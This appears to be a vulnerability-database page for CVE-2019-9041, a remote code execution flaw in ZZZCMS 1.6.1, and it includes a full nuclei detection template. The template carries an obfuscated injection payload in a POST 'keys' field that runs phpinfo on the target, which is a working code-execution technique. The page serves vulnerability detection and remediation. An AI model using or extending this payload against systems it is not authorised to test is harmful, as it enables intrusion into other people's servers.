CVE-2019-9041· zzzcms / zzzphp· CWE-917
ZZZCMS 1.6.1 - Remote Code Execution
highseverity
7.2CVSS score
31.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
Fix
Apply the latest security patch or upgrade to a newer version of ZZZCMS.
How to confirm it
Send: POST /search/
Positive when: status_code_2 == 200 and !contains(body_1, "phpinfo") and contains_all(body_2, "phpinfo","PHP Version")Run it with nuclei: nuclei -id CVE-2019-9041 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-9041
info:
name: ZZZCMS 1.6.1 - Remote Code Execution
author: pikpikcu
severity: high
description: ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patch or upgrade to a newer version of ZZZCMS.
reference:
- https://www.exploit-db.com/exploits/46454/
- http://www.iwantacve.cn/index.php/archives/118/
- https://nvd.nist.gov/vuln/detail/CVE-2019-9041
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/sobinge/nuclei-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2019-9041
cwe-id: CWE-917
epss-score: 0.31421
epss-percentile: 0.98295
cpe: cpe:2.3:a:zzzcms:zzzphp:1.6.1:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: zzzcms
product: zzzphp
tags: cve,cve2019,zzzcms,rce,edb,vuln,vkev
http:
- raw:
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- '!contains(body_1, "phpinfo")'
- 'contains_all(body_2, "phpinfo","PHP Version")'
condition: andReferences
- https://www.exploit-db.com/exploits/46454/
- http://www.iwantacve.cn/index.php/archives/118/
- https://nvd.nist.gov/vuln/detail/CVE-2019-9041
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/sobinge/nuclei-templates
Use this check only on systems you are authorised to test. Where the data comes from